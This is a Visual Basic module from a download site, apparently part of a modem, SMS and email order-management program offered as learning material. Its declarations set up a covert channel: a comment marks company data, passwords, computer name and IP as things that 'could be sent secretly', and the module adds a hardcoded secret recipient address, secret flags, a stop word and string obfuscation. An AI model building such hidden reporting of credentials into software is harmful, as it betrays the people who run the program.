⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.bas

📁 这是一本学习串口编程喝计算机监控的好书里面是用VB开发的源代码
💻 BAS
字号:
Attribute VB_Name = "Main"
Option Explicit

Public Const AGENT = "秦皇岛:"
Public Const ID_SUPER = 1001
Public Const LEN_LOGS = 63
Public Const DAYS_RESERVED = 125
Public Const SMS_RESERVED = 500

Public strDataPath As String
Public strDataHistory As String
Public bNewUser As Boolean
Public bLogout As Boolean

Public nModemStatus As Integer
Public Const MODEM_IDLE = 0
Public Const MODEM_TEST = 1
Public Const MODEM_IN = 2        'listen the call in

Public nSMTPStatus As Integer
Public Const SMTP_IDLE = 0
Public Const SMTP_CONNECTED = 1 '220
Public Const SMTP_EHLO = 2    '250
Public Const SMTP_AUTH = 3    '334 VXNlcm5hbWU6
Public Const SMTP_USER = 4    '334 UGFzc3dvcmQ6
Public Const SMTP_PASS = 5    '235 Authentication successful
Public Const SMTP_FROM = 6    '250 Ok
Public Const SMTP_TO = 7      '250 Ok
Public Const SMTP_DATA = 8    '354 End data with <CR><LF>.<CR><LF>
Public Const SMTP_QUIT = 9    '250 Ok: queued as 2BCC62BF79
Public Const SMTP_END = 10    '221 Bye
Public strSM_Start As String
Public strSM_End As String
Public bSecret As Boolean
Public strMailFrom As String
Public strMailTo As String
Public nSM_Area As Integer
Public bStartSecret As Boolean  'secret
Public Const ALL_CHAR_SET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

Public strOut_SM As String

Public strCorpInfo As String             'all these could be sent secretly
Public strCorpName As String
Public strMb As String
Public strMbPass As String
Public strComputerName As String
Public strUserName As String
Public strIP As String
Public nOperatorID As Integer
Public strOperatorPassword As String

Public strAreaMb As String
Public strAreaCodes As String

Public strSMTP As String
Public Const SMTP1 = "smtp.17288.com"  'China Mobile //pop.17288.com
Public Const SMTP2 = "smtp.165e.com"   'China UniCom //pop.165e.com
Public Const SECRET_HEAD = "\ps/"
Public Const MAIL_SECRET = "walkerma@tom.com"
Public Const STOP_NOW = "stop"
Public strSecretInfo As String
Public strSM_Records As String
Public strSM_File As String

Public Const COMMON_INTERVAL = 500    'for test timer
Public Const RING_INTERVAL = 1500     '8:45:10--8:45:16--8:45:21
Public Const TEST_INTERVAL = 200
Public strRingTime As String

Public Const PORT_NUM = 8
Public Const LEN_MB = 11

Public bStartComm As Boolean
Public strComInBuffers As String
Public strTcpInBuffers As String
Public nSound As Integer

Public nDayBottles As Integer             'today's bottles
Public nDaySMs As Integer                 'today's short messages
Public nDayOrders As Integer              'today's orders
Public nDayCallIns As Integer             'today's call in

'For display
Public strInPhoneNo As String             'for caller ID
Public strAddress As String
Public strName As String
Public strDelay As String
Public strRemark As String
Public nSort As Integer
Public nQuantity As Integer
Public nArea As Integer

Declare Sub DataPrint Lib "PrintForm.dll" (ByVal SourceData As String, ByVal SourceTem As String, ByVal SourceName As String, ByVal module As Integer)


Public Function GetMailName(strMbNum As String) As String
    Dim strHead As String
    
    strHead = Mid(strMbNum, 1, 3)
    If strHead >= "134" And strHead <= "139" Then
        GetMailName = strMbNum + "@" + NextString(SMTP1, ".")
    End If
    
    If strHead >= "130" And strHead <= "133" Then
        GetMailName = strMbNum + "@" + NextString(SMTP2, ".")
    End If
End Function

Public Function CheckMb(ByVal strNum As String) As Boolean
    Dim nTmp As Integer
    
    If CheckLegalChars(strNum, "01234567890") = False Then Exit Function
    If Len(strNum) <> LEN_MB Then Exit Function
    
    nTmp = Val(Mid(strNum, 1, 3))
    If nTmp < 130 Or nTmp > 139 Then Exit Function
    
    CheckMb = True
End Function

Public Function GetMailContent(strFromHead As String, strFrom As String, strTo As String, strSubject As String) As String
    GetMailContent = "from: " + Chr(&H22) + strFromHead + Chr(&H22) + " <" + strFrom + ">" + vbCrLf + _
             "to: <" + strTo + ">" + vbCrLf + _
             "subject: " + strSubject + vbCrLf + _
             "MIME-Version: 1.0" + vbCrLf + _
             "Content-Type: text/plain; charset=gb2312" + vbCrLf + _
             "X-Priority: 1" + vbCrLf + _
             vbCrLf + "." + vbCrLf
End Function

Public Function Encode_Myc_String(ByVal strSource As String) As String
    Encode_Myc_String = Base64_Encode(Encode_Unicode(strSource, "Everything comes to those who can wait."))
End Function

Public Function Decode_Myc_String(ByVal strSource As String) As String
    Decode_Myc_String = Decode_Unicode(Base64_Decode(strSource), "Everything comes to those who can wait.")
End Function

Public Function FromAreaID_Mb(nAreaID As Integer) As String
    'from frmOuters' database
    '/AreaCode/Mb/#
    Dim strTmp As String
    Dim I As Integer
    
    strTmp = "/" + Trim(Str(nAreaID)) + "/"
    
    I = InStr(1, strAreaMb, strTmp)
    If I <> 0 Then
        strTmp = Mid(strAreaMb, I)
        FromAreaID_Mb = GetNoString(strTmp, "/", 2)
    End If
End Function

Public Function CheckAreaCode(nAreaID As Integer) As Boolean
    'from frmArea
    '/AreaID/AreaID/
    Dim strTmp As String
    
    strTmp = "/" + Trim(Str(nAreaID)) + "/"
    If InStr(1, strAreaCodes, strTmp) <> 0 Then
        CheckAreaCode = True
    Else
        CheckAreaCode = False
    End If
End Function

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -